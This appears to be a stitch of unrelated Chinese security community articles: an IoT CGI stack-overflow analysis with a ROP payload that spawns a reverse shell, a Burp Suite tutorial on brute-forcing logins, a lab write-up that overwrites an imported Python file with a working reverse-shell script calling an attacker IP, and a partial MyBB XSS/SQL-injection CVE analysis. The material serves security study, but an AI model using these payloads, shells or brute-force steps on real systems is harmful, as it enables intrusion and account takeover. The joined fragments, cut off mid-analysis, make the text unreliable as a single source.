__int64 v43; // [rsp+58h] [rbp-11B0h]
__int64 v44; // [rsp+60h] [rbp-11A8h]
__int64 v45; // [rsp+68h] [rbp-11A0h]
__int64 v46; // [rsp+70h] [rbp-1198h]
__int64 v47; // [rsp+78h] [rbp-1190h]
__int64 v48; // [rsp+80h] [rbp-1188h]
__int64 v49; // [rsp+88h] [rbp-1180h]
char pwd_decoded[64]; // [rsp+90h] [rbp-1178h]
char pwd_b64[256]; // [rsp+D0h] [rbp-1138h]
char v52; // [rsp+1D0h] [rbp-1038h]
int v53; // [rsp+260h] [rbp-FA8h]
char v54; // [rsp+264h] [rbp-FA4h]
char v55; // [rsp+3CFh] [rbp-E39h]
char v56; // [rsp+3D0h] [rbp-E38h]
char v57; // [rsp+5CFh] [rbp-C39h]
char v58; // [rsp+5D0h] [rbp-C38h]
char v59; // [rsp+7CFh] [rbp-A39h]
char v60; // [rsp+7D0h] [rbp-A38h]
char v61; // [rsp+9D0h] [rbp-838h]
char v62; // [rsp+BD0h] [rbp-638h]
char v63; // [rsp+DCFh] [rbp-439h]
char s; // [rsp+DD0h] [rbp-438h]
char v65; // [rsp+FCFh] [rbp-239h]
char v66; // [rsp+FD0h] [rbp-238h]
memset(pwd_b64, 0, sizeof(pwd_b64));
memset(pwd_decoded, 0, sizeof(pwd_decoded));
memset(&v52, 0, 0x200uLL);
memset(&v56, 0, 0x200uLL);
memset(&v58, 0, 0x200uLL);
*(_QWORD *)username = 0LL;
memset(&v60, 0, 0x200uLL);
memset(&v61, 0, 0x200uLL);
memset(&v62, 0, 0x200uLL);
memset(&s, 0, 0x200uLL);
memset(&v66, 0, 0x200uLL);
v43 = 0LL;
v44 = 0LL;
v45 = 0LL;
*(_QWORD *)src = 0LL;
*(_QWORD *)dest = 0LL;
v46 = 0LL;
v47 = 0LL;
v48 = 0LL;
v49 = 0LL;
v33 = time(0LL);
cgiFormString("username", username, 32LL);
cgiFormString("pwd", pwd_b64, 256LL);
base64decode((u_char *)pwd_decoded, pwd_b64, 256);
pos_dbl_slash = index(username, '\\');
if ( !pos_dbl_slash )
{
if ( (unsigned int)is_username_allowed(username) )
{
login_successful = check_login(username, pwd_decoded);
v15 = 0;
v16 = 0;
}
* 首先读取用户输入的username到username数组里，最大读取32个字节，读取pwd到pwd_b64数组里，最大读取256个字节
* base64decode解密pwd_b64，将结果保存在pwd_decoded数组里，最大写入256个字节，但问题是pwd_decoded数组的size是64字节，所以会越界写入到pwd_b64数组里，但在这里不会影响程序的逻辑，因为pwd_b64在解密后就不会被用到。
* `is_username_allowed`校验输入的用户名是否合法，该函数先将用户名里的大写字母转成小写，然后和一个全局字符串数组里的每个字符串比较，如果有任何一个匹配就返回0，代表非法，否则返回1，代表合法。
* 之所以这样比较是因为它将所有注册的用户的账号密码都写入到了`/etc/shadow`文件里，而这个文件里的`root, anonymous...`等用户是linux系统使用的，而不是给注册用户使用的。
* 然后将被溢出的数组pwd_decoded传给check_login函数。
### check_login
__int64 __fastcall check_login(const char *username, const char *pwd_decoded)
{
FILE *v2; // rbp
struct passwd *v3; // rax
struct passwd *v4; // rbx
const char *v6; // rax
char password_copy_shadow[80]; // [rsp+0h] [rbp-C8h]
char password_copy_input[88]; // [rsp+50h] [rbp-78h]
v2 = fopen64("/etc/shadow", "r");
while ( 1 )
{
v3 = fgetpwent(v2);
v4 = v3;
if ( !v3 )
break;
if ( !strcmp(v3->pw_name, username) )
{
strcpy(password_copy_shadow, v4->pw_passwd);
fclose(v2);
strcpy(password_copy_input, pwd_decoded);
* 按行读取`/etc/shadow`里的数据，并解析成passwd结构体。
* 拷贝pw_passwd字段到栈上变量password_copy_shadow数组里
* 拷贝pwd_decoded到栈上变量password_copy_input数组里，因为pwd_decoded是一个写入溢出的字符串，其长度最大是192字节(base64算法，最大解密出来就是输入字符串的3/4长度)，而password_copy_input数组的size是88，所以在这个栈布局里就可以溢出到返回地址了。
如下是ida的stack
layout视图，r代表返回地址，如图可以看到从password_copy_input数组到返回地址，一共是120个字节，而我们可以写入192个字节，所以可以劫持返回地址。
-00000000000000C8 ; D/A/* : change type (data/ascii/array)
-00000000000000C8 ; N : rename
-00000000000000C8 ; U : undefine
-00000000000000C8 ; Use data definition commands to create local variables and function arguments.
-00000000000000C8 ; Two special fields " r" and " s" represent return address and saved registers.
-00000000000000C8 ; Frame size: C8; Saved regs: 0; Purge: 0
-00000000000000C8 ;
-00000000000000C8
-00000000000000C8 password_copy_shadow db 80 dup(?)
-0000000000000078 password_copy_input db 120 dup(?)
+0000000000000000 r db 8 dup(?)
+0000000000000008
+0000000000000008 ; end of stack variables
## 漏洞模式
这个漏洞的模式就是写入的数据超出了数组本身的大小导致的写入越界，但实际造成栈溢出的地方是在更后面的strcpy的地方，相对来说其实比较隐蔽，strcpy这个函数会从源地址向目的地址拷贝数据，一直到遇到`\0`停止。
正常来说在往字符数组写入一个字符串的时候，都会把最后一个字节设置`\0`，但因为写入的越界，导致`\0`出现在了数组越界后的位置。
最终导致前面base64decode函数造成的写入越界向后传播，最终在某次strcpy的时候造成了栈溢出。
## 漏洞利用
正常来说栈溢出的漏洞利用只需要rop构造gadaget即可，但是对于64位架构的栈溢出来说，因为程序的装载基地址是0x400000，所以不考虑return
to
libc等情况，直接在程序体内来找合适的gadaget地址的话，不可避免的在写入地址的时候会遇到`\x00`，比如`0000000000401D00`这个地址，它的高位都是0。
所以在strcpy的时候，遇到高位的`\x00`就会被截断，所以在溢出的时候，最多就只能覆盖到返回地址，写入一个想到劫持到的地址，不能向后继续写入了。
如图可以看出，尽管我们溢出`password_copy_input`由于截断只能写到返回地址那个位置，进行一次gadaget。
但是我们可以寻找`lea rsp, [rsp+??] ; retn`这样的gadaget来抬升栈，通过stack
pivot来将rsp指到`wd_login`栈上的pwd_decoded字符串里，而这个字符串的值显然是我们可以任意控制，并且不受`\x00`截断影响，它是base64解出来的。
所以到这里我们就可以进行多次gadaget了。
即我们要让pwd_decoded字符串里的内容形如，即可
AAAAA * ? + p64(gadaget_addr1) + 需要的pop的寄存器值 + p64(gadaget_addr2) + 需要的pop的寄存器值 + p64(gadaget_addr3)...
然后由于一般的cgi程序里其实都会调很多system函数，所以我们只要再通过多次gadaget传递我们需要的命令到调用system函数的地方，最终执行该代码就可以反弹shell了。
但这个cgi程序里有个非常有趣的地方，就是`00000000004039B7`这个地址，它既有栈抬升，又有call system。
所以我们需要的payload就是`A * 120 + p64(0x4039B7) + system_cmd_str`即可。
解释一下，在溢出覆盖返回地址后，会跳到`00000000004039B7`去call一次无效的system命令，然后`lea rsp,
[rsp+108h]`栈抬升，此时rsp指向我们在pwd_decoded里的`p64(0x4039B7) + system_cmd_str`字符串。
然后再retn，弹出p64返回地址，再次跳回到`00000000004039B7`执行，此时rsp指向的就是要执行的反弹shell字符串，并传给rdi，作为system的参数执行，此时就成功的反弹shell了。
.text:00000000004039B7 lea rdi, [rsp]
.text:00000000004039BB call _system
.text:00000000004039C0 xor eax, eax
.text:00000000004039C2 lea rsp, [rsp+108h]
.text:00000000004039CA retn
具体的调试就留给读者权做练习了。
总结一下，iot的栈溢出，找gadaget的要点就是
* 栈抬升
* `lea rsp, [rsp+?]`
* 找system，传参劫持过去。
## 参考链接
* <https://www.crowdstrike.com/blog/pwn2own-tale-of-a-bug-found-and-lost-again/> | 社区文章 |
上节课，我们讲了如何使用burp抓取数据包，以及proxy的一些常用功能；这节课，我们主要学习`scanner`、`intruder`、`repeater`等等。
### intruder功能
标识符枚举用户名，ID和账户号码， 模糊测试SQL注入，跨站，目录遍历等等
首先，打开burp，并进入到proxy功能，可以看到“ **target** ”、“ **positions** ”、“ **payloads** ”、“
**options** ”标签
#### positions模块
* **Positions** \- 选择攻击模式
* **sniper** \- 对变量依次进行暴力破解。
* **battering ram** \- 对变量同时进行破解。
* **pitchfork** \- 每一个变量标记对应一个字典，一一对应进行破解。
* **cluster bomb** \- 每个变量对应一个字典，并且进行交叉式破解，尝试各种组合。适用于用户名+密码的破解。
选择要进行暴力破解的参数，用$包含参数值，表示对该值进行枚举
#### payloads模块
以简单模式为例，可选择对某个参数设置payload
Payload类型可选择字典方式，爆破方式等等多总
Payload进行编码、加密、截取等操作，例如暴力破解base64加密登录等等
**Simple list** \- 通过配置一个字符串列表作为Payload，也可以自定义添加或从加载文件夹，如下：
**Runtime file** \- 指定文件，作为相对应Payload位置上的Payload列表。
**Custom iterator** \-款功能强大的Payload，它共有8个占位，每一个占位可以指定简单列表的Payload类型，然后根据占位的多少，与每一个简单列表的Payload进行笛卡尔积，生成最终的Payload列表。
#### options模块
**Request Engine** 设置请求的线程数，超时重试时间
**Grep Match** —
这个设置主要用来从响应包中提取某些结果，如果匹配成功，则在攻击结果中添加的新列中标明，便于排序和数据提取。比如说，在测试SQL注入漏洞，扫描包含“ODBC”，“错误”等消息，来识别可能存在注入漏洞的参数。
**Grep Extract** —
这些设置可用于提取响应消息中的有用信息。此选项是从返回包中提取有用的信息。例如，如果可通过ID的参数循环，可以提取每个文档寻找有趣的项目的页面标题。如果您发现返回的其他应用程序用户详细信息的功能，可以通过用户ID重复和检索有关用户管理帐户，忘记密码，邮箱等等。
**Grep Payloads** \-这些设置可用于提取响应消息中是否包含Payload的值，比如说，你想验证反射性的XSS脚本是否成功，可以通过此设置此项。
### scanner功能
在 **Live Scanning** 选项卡中，我们也可以对请求的域、路径、IP地址、端口、文件类型
进行控制，如下图：
通过前几节的学习，我们已经知道Burp Scanner有主动扫描和被动扫描两个扫描方式，在
Options子选项卡中，主要是针对这两种扫描方式在实际扫描中的扫描动作进行设置。具体的
设置包含以下部分：
#### 攻击插入点设置（Attack Insertion Points）
Burp Scanner在扫描中对请求数据包进行扫描，在每一个插入点构造测试语句，对参数值进行替换，从验证可能存在的安全漏洞。
#### 主动扫描（Active Scanning Engine）
主动扫描设置主要是用来设置控制主动扫描时的线程、失败重试间隔、失败重试次数、请求延迟等等。其中请求延迟设置（Throttle between
requests）和其子选项延迟随机数 （Add random variations to
throttle）在减少应用负荷，模拟人工测试，使得扫描更加隐蔽，而不易被网络安全设备检测出来。按自己的需求及配置情况设置线程数及延迟情况
#### 主动扫描优化（Active Scanning Optimization）
此选项的设置主要是为了优化扫描的速度和准确率，尽量地提高扫描速度的同时降低漏洞的
误报率。 扫描速度（Scan
speed）分三个选项，不同的选项对应于不同的扫描策略，当选择Thorough时，Burp会发送更多的请求，对漏洞的衍生类型会做更多的推导和验证。而当你选择Fast，Burp则只会做一般性的、简单的漏洞验证。
#### 主动扫描范围设置（Active Scanning Areas）
在主动扫描过程中，根据扫描时间、重点等情况，选择不同的扫描范围。这里可选择的扫描范围有：SQL注入
-可以使不同的测试技术（基于错误，时间等），并且可按照特定数据库类型（MSSQL，Oracle和MySQL的）、反射式跨站点脚本、存储的跨站点脚本。
#### 被动扫描范围设置（Passive Scanning Areas）
因为被动扫描不会发送新的请求，只会对原有数据进行分析，其扫描范围主要是请求和应答消息中的如下参数或漏洞类型：`Headers`、`Forms`、`Links`、`Parameters`、`Cookies`、`MIME
type`、`Caching`、`敏感信息泄露`、`Frame框架点击劫持`、`ASP.NET ViewState`
### repeater功能
通过修改请求包，查看服务器端响应情况。
在渗透测试过程中，我们经常使用Repeater来进行请求与响应的消息验证分析，比如修改请求参数，验证输入位置的漏洞；修改请求参数，验证逻辑越权；从拦截历史记录中对验证码，抓取进行重放。如下所示：
其设置主要包括以下内容：
* **更新Content-Length** 这个选项是用于控制Burp是否自动更新请求消息头中的Content-Length
* **解压和压缩（Unpack gzip / deflate）** 这个选项主要用于控制Burp是否自动解压或压缩服务器端响应的内容
* **跳转控制（Follow redirections）** 这个选项主要用于控制Burp是否自动跟随服务器端作请求跳转，比如服务端返回状态码为302，是否跟着应答跳转到302指向的url地址。 它有4个选项，分别是永不跳转（Never），站内跳转（On-site only ）、目标域内跳转（Inscope
only）、始终跳转（Always），其中永不跳转、始终跳转比较好理解，站内跳转是指当前的同一站点内跳转；目标域跳转是指target
scope中配置的域可以跳转；
* **跳转中处理Cookie（Process cookies in redirections）** 这个选项如果选中，则在跳转过程中设置的Cookie信息，将会被带到跳转指向的URL页面，可以进行提交。
* **视图控制（View）** 这个选项是用来控制Repeater的视图布局
* **其他操作（Action）** 通过子菜单方式，指向Burp的其他工具组件中。
### spider功能
爬取网站相关页面，通过HTML、js、提交的表单中的超链接、目录列表、注释，以及 robots.txt
文件。以树列表的形式详细的显示网站结构。在使用时要谨慎对有提交、删除等功能进行spider操作。
### decoder功能
对左侧text中的值进行解密、加密、hash以text形式显示到下方，同样也可以进行显示hex值。
Burp Decoder的功能比较简单，作为Burp
Suite中一款编码解码工具，它能对原始数据进行各种编码格式和散列的转换。其界面如下图，主要由输入域、输出域、编码解码选项三大部分组成。
同时，可对同一个值进行多次操作，如下
### comparer功能
Burp Comparer在Burp
Suite中主要提供一个可视化的差异比对功能，当服务器返回包过大时，可通过复制粘贴、加载文本方式添加对比，以words和bytes方式进行查看请求或数据包的不同，来查看服务器对某些请求的差异。例如：1.枚举用户名过程中，对比分析登陆成功和失败时，服务器状态的区别；2.使用
Intruder
进行攻击时，对于不同的服务器端响应，可以很快的分析出两次响应的区别在；3.进行SQL注入的盲注测试时，比较两次响应消息的差异，判断响应结果与注入条件的关联关系。
### extender功能
可通过商店添加某些插件，同样也可以添加自己或第三方的插件
可添加java、Python、ruby类型的插件，若安装失败会提示异常情况
同样burp提供了api接口，可创建自定义插件
### 实战篇
#### Scanner实战
下面介绍几种对网站渗透时会用到的一些方法
在对系统做主动扫描时，当进行Burp Scanner。对下面的url进行扫描，如下：
当我们在Burp Target 的站点地图上的某个URL执行`Actively scan this host`时，会自动弹出过滤设置
优化扫描选项，我们可以对选项进行设置，指定哪些类型的文件不再扫描范围之内，如下：
在这里，我们可以设置扫描时过滤某些类型，如：过滤js、css、图片等静态资源文件。
当我们点击【next】按钮，进入扫描路径分支的选择界面。如下图：
以上是扫描开始前的一些相关设置，看个人需求进行设置，下面进入扫描阶段。
此时，在Scan queue队列界面，可以看到会显示扫描的进度、问题总数、请求数和错误统计等信息。
同样，在Scan queue功能上，可以选中某个记录，在右击的弹出菜单中，对扫描进行控制。比如取消扫描、暂停扫描、恢复扫描、转发其他功能等等。如下：
同时，在Results界面，自动显示队列中已经扫描完成的漏洞明细。
#### intruder实战
登录框暴力破解
登录处不存在验证码和次数限制，首先我们会想到弱口令和暴力破解
下面我们看看如何对用户名和密码进行暴力破解
首先，我们尝试已知用户名，暴力破解密码，上一篇已经介绍了如何抓包，这里不在进行介绍。
##### 单个参数暴力破解
当我们将数据包发送到intruder功能时，会自动对某些参数标记
这里我们只对pass进行暴力破解，点击clear$清楚所有标记
选择要进行暴力破解的参数值，点击add$，可以看到将pass参数选中，这里我们只对一个参数进行暴力破解，所以使用sniper即可
下面我们选择要添加的字典
同样也可以进行添加自己的字典，等等
这里，我们选择自带的password字典进行暴力猜解
由于字典有3000多条，不可能一条条获取，可以对status或length进行排序，可以看到找到了长度不一样的payload，说明很可能是要找的密码
##### 多个参数暴力破解
同样，若用户名和密码都不知道，如何进行暴力破解
首先，按照上面的方式选中user和pass参数
这里选择交叉式cluster bomb模式进行暴力破解，由于交叉式会进行n*m次所以这里只写几个payload进行演示
首先，payload set选1,为第一个payload的值
然后设置payload set为2，设置第二个值的payload，可以看到需要进行56次请求
可以看到payload1、payload2的值均为test，猜解到正确的用户名密码
我们可以看到存在登录框，但未不存在验证码和次数限制，首先我们会想到弱口令和暴力破解，同样payload参数有很多种方式数字、日期、自定义长度等等
##### Custom iterator方式生成字典
首先设置position1，为`aaa`
设置position2为`$$$`
设置position3为`passwords`
进行暴力破解时可以看到payload以`test`、`$$$`和`passwords`内容组成，可以方便我们对某些特定的类型进行暴力破解，例如邮箱`[email protected]` | 社区文章 |
# 0x 01 简介
最近扫描工具扫到一个 Directory Listing，通过分析目录下的文件代码，结合上传覆盖 python 文件和代码中的 "dynamic
import" ，获取到了服务器权限。文章没有什么高深的技术，个人觉得蛮有意思，整理了一下当时的利用过程，如有写不对或不准确的地方，欢迎大家指出
# 0x 02 环境搭建
因为涉及到漏洞，这里对代码做了一些脱敏和精简，环境使用 docker 搭建，代码文件在 github 上，运行以下命令启动环境
git clone https://github.com/b1ngz/vul-py-server.git
cd vul-py-server
# 构建
docker build -t vul-py-server .
# 运行
docker run -d --name=vul-py -p 127.0.0.1:30000:9080 vul-py-server
运行成功后，访问 <http://127.0.0.1:30000/，可以看到有四个文件，分别是>
* httpServer.py：当前server的代码，是一个 python2 的 SimpleHTTPServer，除了列出目录文件外，还有一些其它接口，后面会分析
* log.txt ：server 输出日志文件
* showDump.py：httpServer.py 中 import 到的文件
* upload.html：一个可以上传文件页面
# 0x 03 接口分析
这里主要分析一下 httpServer.py 中的接口功能，主要代码在 `MyHandler` 类中的 `do_GET` 和 `do_POST` 方法中
## GET /reload
精简代码：
def do_GET(self):
if self.path == '/reload':
# 省略
if self.restart_server_mutex.acquire(False):
try:
fileObj = os.popen('sh %sbin/update_and_reload.sh 2>&1' % (server_path,))
# script执行结果输出到页面
finally:
self.restart_server_mutex.release()
# 省略
访问接口会执行 server_path 的 bin 目录下的 `update_and_reload.sh` 脚本，并将执行结果输出到页面
## GET /real_time_log?
精简代码：
def do_GET(self):
# 省略
elif self.path.startswith('/real_time_log?'):
logName = self.path.split('=')[1]
# 省略
finename = server_path + 'log/log.' + logName
print finename
fileobj = open(finename)
if fileobj:
fileobj.seek(0, 2)
currSize = fileobj.tell()
while True:
# 输出到页面
访问接口，代码会读取 server_path 的 log 目录下，以 `logName` 为后缀的 log文件内容，`logName` 的值为使用 `=`
分割 path 后的第一个元素，然后将文件内容输出到页面
## GET /del_file_list?
精简代码：
def do_GET(self):
elif self.path.startswith('/del_file_list?'):
currpath = self.path[self.path.index("?") + 1:]
# 省略
f = self.wfile
f.write("<html>\n<title>删除文件: %s</title>\n" % (currpath,))
f.write("<body>")
if currpath:
f.write('<p><a href="/del_file_list?%s">返回</a></p>' % (os.path.dirname(currpath)))
# WorkDir 为 os.path.split(os.path.realpath(__file__))[0]
absCurrPath = os.path.join(WorkDir, currpath)
absCurrPath = os.path.realpath(absCurrPath)
itemlist = os.listdir(absCurrPath)
for item in itemlist:
thispath = os.path.join(currpath, item)
if os.path.isdir(thispath):
f.write('<p><a href="/del_file_list?%s">进入 %s</a> <a href="/del_file?%s">删除目录</a></p>' % (
thispath, item, thispath))
else:
f.write('<p><a href="/del_file?%s">删除 %s</a></p>' % (thispath, item))
# 省略
取 path 中 `?` 之后的部分，列出目录下的文件，若是目录则显示进入和删除目录链接，若是文件，则显示删除链接
## GET /del_file?
精简代码：
elif self.path.startswith('/del_file?'):
currpath = self.path[self.path.index("?") + 1:]
absCurrPath = os.path.join(WorkDir, currpath)
absCurrPath = os.path.realpath(absCurrPath)
try:
if os.path.isdir(absCurrPath):
os.rmdir(absCurrPath)
else:
os.remove(absCurrPath)
except Exception, e:
# 省略
取 path 中 `?` 之后的部分作为路径(目录或文件)，将其删除
## GET /show_dump
精简代码：
elif self.path == '/show_dump':
# 省略
from showDump import show_dump
show_dump('hello', 'world')
# 省略
从 `showDump.py` 文件中 import 函数 `show_dump`，并调用执行
## do_POST
精简代码：
def do_POST(self):
# 省略
filename = form['fname'].filename
savename = None
if 'newname' in form:
savename = form['newname'].value
if not savename:
savename = filename
path = self.translate_path(self.path)
filepath = os.path.join(path, savename)
dirpath = os.path.split(filepath)[0]
if not os.path.exists(dirpath):
os.makedirs(dirpath)
savefile = open(filepath, 'wb')
filedata = form['fname'].value
savefile.write(filedata)
savefile.close()
`upload.html` 对应的上传文件接口，使用 `os.path.join` `path` 和 `savename`，然后写入上传文件
# 0x 04 利用分析
先理一下环境和现有功能:
* 后端是一个 python2 的 SimpleHTTPServer
* `/reload` 接口能够执行 shell script，但执行的文件路径不可控
* `/real_time_log?` 接口能够读取文件内容，路径部分可控
* `/del_file_list?` 能够列出目录下的文件，但无法看到内容
* `/del_file?` 能够删除目录和文件
* `upload.html` 能够上传文件，上传目录和文件名都可控
* `/show_dump` 从另一个py文件中 import 函数，并执行
因为无法通过直接上传python文件，然后访问url来执行代码，所以需要通过其它方式，这里列举一些当时想到的方式
## 覆盖shell文件
`/reload` 接口中，虽然执行的shell文件路径不可控，但 `upload.html` 可以上传文件，且路径完全可控，可以尝试通过覆盖 shell
文件，再访问 `/reload` 接口来执行自己的 shell 脚本
But，经过尝试后，无法成功，查看 `log.txt` 中会有如下错误
File "httpServer.py", line 328, in do_POST
savefile = open(filepath, 'wb')
IOError: [Errno 13] Permission denied: '/home/dev/bin/update_and_reload.sh'
因为当前用户是`www`，而 `update_and_reload.sh` 是在 `/home/dev/bin/` ( `server_path` 值为
`/home/dev/`) 下，属于 `dev` 用户，`www` 用户没有写权限，所以无法成功
## 读取文件内容
`/real_time_log?` 接口中，读取文件的后缀是可控的，是否可以通过相对路径 ( `../` ) 的方式来进入其他目录？
filename = server_path + 'log/log.' + logName
But，经过尝试后，使用 `../` 的方式在这里是不行的，因为 `../` 之前的路径必须是目录，且每一个目录都需要存在，可能说的有点不好理解
首先看一下文件目录
root@3f49cb7fb19d:/home/www/code# ls -lh /home/dev/log/
total 8.0K
-rw-r--r-- 1 dev dev 14 Dec 19 11:02 log.g1
-rw-r--r-- 1 dev dev 15 Dec 19 15:32 log.s2
再来看几个例子，应该就能理解了
例一：`log.` 目录不存在
server_path = '/home/dev/'
logName = '/../../../../../etc/hosts'
filename = server_path + 'log/log.' + logName
open(filename)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
IOError: [Errno 2] No such file or directory:'/home/dev/log/log./../../../../../etc/hosts'
例二：`log.g1` 文件存在，但不是目录
server_path = '/home/dev/'
logName = 'g1/../../../../../../etc/hosts'
filename = server_path + 'log/log.' + logName
open(filename)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
IOError: [Errno 20] Not a directory: '/home/dev/log/log.g1/../../../../../../etc/hosts'
例三：成功
server_path = '/home/dev/'
logName = '../../../../../etc/hosts'
filename = server_path + 'log/' + logName
open(filename)
<open file '/home/dev/log/../../../../../etc/hosts', mode 'r' at 0x7f82f4cfa660>
那么有没办法创建 `log.xxx` 目录呢？
目录是在 `/home/dev` 下，没有写权限...
还有就是即使这里可以使用 `../` 的方式，细看一下代码，发现是以 `tail -f -n 0`
的方式读取文件内容，然后输出到页面，所以只能读取到新写入的文件内容。
## 覆盖py文件
如果是修改 `httpServer.py` ，然后上传覆盖原有文件呢？
But，并不行，因为代码已经载入内存了，要想让修改后的新代码生效，需要重启 server。
想到覆盖文件，之前 `/show_dump` 接口中会从 `showDump.py` 文件 import 函数并执行，与顶层import
的只载入一次不同，这里每次访问接口都会重新从 `showDump.py` 文件中 import `show_dump`
函数，也就是说，我们可以通过上传覆盖这个文件，只要保持 `show_dump` 函数的定义不变，函数内可以执行我们任意的 python代码
from showDump import show_dump
show_dump('hello', 'world')
反弹 POC
# -*- coding: utf-8 -*- import os
import socket
import subprocess
ip = "your ip"
port = 12345
def show_dump(dumpWorkDir, dumpfile):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect((ip, 12345));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);
将上述文件保存，然后通过 `upload.html` 上传，新文件名填写 `showDump.py`，然后访问 `/show_dump` 接口
测试成功
➜ nc -v -l 12345
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(www) gid=1000(www) groups=1000(www)
$ ls -lh /home/www/code
total 44K
-rwxr-xr-x 1 www www 13K Dec 19 14:22 httpServer.py
-rw-r--r-- 1 www www 276 Dec 20 02:41 log.txt
-rwxr-xr-x 1 www www 356 Dec 20 02:40 showDump.py
-rwxr-xr-x 1 www www 487 Dec 19 10:12 upload.html | 社区文章 |
# MyBB XSS 和 SQL注入组合 RCE 复现思路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本着学习的心态来看一看这个漏洞利用链。
CVE-2021-27889 是 XSS 漏洞。关键思想：当 mybb 将 markdown 格式的代码转换成 html 的时候，由于 **普通标签解析**
和 **URl 自动解析成a标签** 的功能，当普通标签上 **嵌套了URl** 而 URL **自动被解析成 a标签** 时，会导致 **引号逃逸**
，从而导致 XSS。
CVE-2021-27890 是 SQL注入漏洞。关键思想：mybb导入模板时 **解析 XML 没做好过滤** ，导致 SQL注入。且 mybb
的模板变量赋值是通过 `eval()` 进行赋值，该 SQL注入可 **控制部分`eval()` 的内容**，到达 RCE 的效果。
## CVE-2021-27889初探
在github上下载 1825 源码包，根据官网安装教程来设置权限。
根据描述，猜测应该是发帖的地方存在漏洞:
<https://github.com/mybb/mybb/security/advisories/GHSA-xhj7-3349-mqcm>
> The vulnerability can be exploited with minimal user interaction by saving a
> maliciously crafted MyCode message on the server (e.g. as a post or Private
> Message) and pointing a victim to a page where the content is parsed.
### 查看 commit
<https://github.com/mybb/mybb/commit/86894e1e6837f7687ecf6d9e572a626fc2d5d4fc>
定位到 _inc/class_parser.php_ 的 _1591行_ ，发现整个 commit 就这一处修改
### 回溯函数
进入 PHPSTORM 进行回溯查找：ctrl+鼠标点击函数名。
找到一入口点： `newreply.php` 的 `do_newreply` action
回溯的调用函数链：
inc/class_parser.php mycode_auto_url()
inc/class_parser.php parse_mycode()
inc/class_parser.php parse_message()
post.php verify_image_count()
post.php validate_post()
newreply.php if($mybb->input['action'] == "do_newreply"
上面只是列出了一个方便复现的入口点
毕竟`inc/class_parser.php parse_message()` 被很多地方调用了。
而由于描述中说这是一个 XSS。所以不同的入口点说明输出点的位置可能就会不一样。
### 简单测试
常规的 XSS payload 一般就是下面两种：
1. 插入 html 标签执行 js
2. 原有的 html 标签引号逃逸，在属性处执行 js
那我们通过黑盒测试进行尝试，对 mybb 简单摸个底。
根据入口点的 `do_newreply` action 以及漏洞通告中可以猜测，论坛回复可能就是入口点。
**意外的坑**
想要回复就得先注册个用户发个帖。在注册用户的时候发现了点小问题：注册时需要校验 _captchaimage_ 的值，但注册的时候并没有地方输入这个值。
修复：
关闭 _captchaimage_ 。因为这个验证码好像有点问题
修改 `inc/settings.php` 下的
$settings['captchaimage'] = "0";
接着需要 admin 去激活用户，用户才能发言。后台激活url：
_/admin/index.php?module=user-awaiting_activation_
**测试：**
前台回复处尝试发送以下 payload
[-- 尝试 html 标签插入，结果被实体编码 --]
<a href="1">123</a>
[-- 输出 --]
<a href="1">123</a>
在回复处发现可以插入链接，那我们就发个链接试试水
尝试发送以下 payload
[-- 原包，看起来像是模板标签 --]
[url=http://test.com]value[/url]
[-- 输出 --]
<a href="http://test.com" target="_blank" rel="noopener" class="mycode_url">value</a>
=================
[-- 在 [url] 里头添加双引号尝试逃逸，结果不进行模板标签的解析 --]
[url=http://test.com"]value[/url]
[-- 输出 --]
[url=http://test.com"]value[/url]
### 追踪 patch 点的前后代码流程
**流程追踪**
_代码审计就是要细心耐心，错过一个调用点可能就没法看到整个利用链。所以尽量每个函数调用都去瞄一瞄，哪怕看不懂，也可以简单记录下操作，哪怕脑中过一遍有这个调用的印象也好。_
观察前文 commit 处的那段代码，发现其正则匹配的似乎像个 a标签 和 url。那我们继续发送 _链接_ 吧：
[url=http://evil.com/xxx]test[/url]
跟到 `class_parser.php:268, postParser->parse_html()` 时发现对 `<` 和 `>` 进行了实体编码
$message = str_replace("<","<",$message);
$message = str_replace(">",">",$message);
暂时到目前为止，似乎插入 html 标签进行 xss 的方法行不通了。不过也不能全盘否定，说不定 mybb 后面解析模板标签的时候有什么骚操作呢？可以留个
**尖括号逃逸** 和 **引号逃逸** 的心眼。
接着追踪到 `class_parser.php:456, postParser->parse_mycode()` 。
首先执行了 `$this->cache_mycode();`。这个方法用于为 `$this->mycode_cache`
设置一些正则语句，用于匹配一些模板标签以及对应的替换
贴一部分代码出来：
$callback_mycode['url_simple']['regex'] = "#\[url\]((?!javascript)[a-z]+?://)([^\r\n\"<]+?)\[/url\]#si";
$callback_mycode['url_simple']['replacement'] = array($this, 'mycode_parse_url_callback1');
之后`postParser->parse_mycode()` 还对应匹配了 `[img]` 和
走完上面的函数流程后，此时我们原来输入的模板标签就会转换成 html 代码。值得注意的是， `a标签` 自动添加了 **引号** 和 **尖括号**
[url=http://evil.com/xxx]test[/url]
<a href="http://evil.com/xxx" target="_blank" rel="noopener" class="mycode_url">test</a>
接下来就执行到 patch 代码 `mycode_auto_url()` 中了，如下所示：
function mycode_auto_url($message)
{
$message = " ".$message;
//$message value:
//<a href="http://evil.com/xxx" target="_blank" rel="noopener" class="mycode_url">test</a>
//正则太长了就不写这里了，在下文分析正则
$message = preg_replace_callback("...REGEX...", array($this, 'mycode_auto_url_callback'), $message);
.......
return $message;
}
分析正则，首先定位 `|` 符。，并根据 `|` 分割 正则表达式 进行分析。这里可以分为两个部分
**第一部分正则**
<a\s[^>]*>.*?</a>
不难看出这是在匹配一个 **a标签**
**第二部分正则**
可以再拆分下，这一小部分在匹配 空格 和 一些特殊符号
([\s\(\)\[\>])
另一小部分：
(http|https|ftp|news|irc|ircs|irc6){1}(://)([^\/\"\s\<\[\.]+\.([^\/\"\s\<\[\.]+\.)*[\w]+(:[0-9]+)?(/([^\"\s<\[]|\[\])*)?([\w\/\)]))
经过测试可以得出，这是在匹配一个 url
**组合完整正则**
通过上面测试可知，整一句正则的作用为： **先匹配 a标签，匹配不到就去匹配 url。注意 url 前面需要有一个空格或者特殊符号**
更换 payload为一个链接，重新发送：
)http://test.com/abc
程序再次走到 `mycode_auto_url()`时，成功匹配到了 URL。`preg_replace_callback` 调用
`mycode_auto_url_callback()`
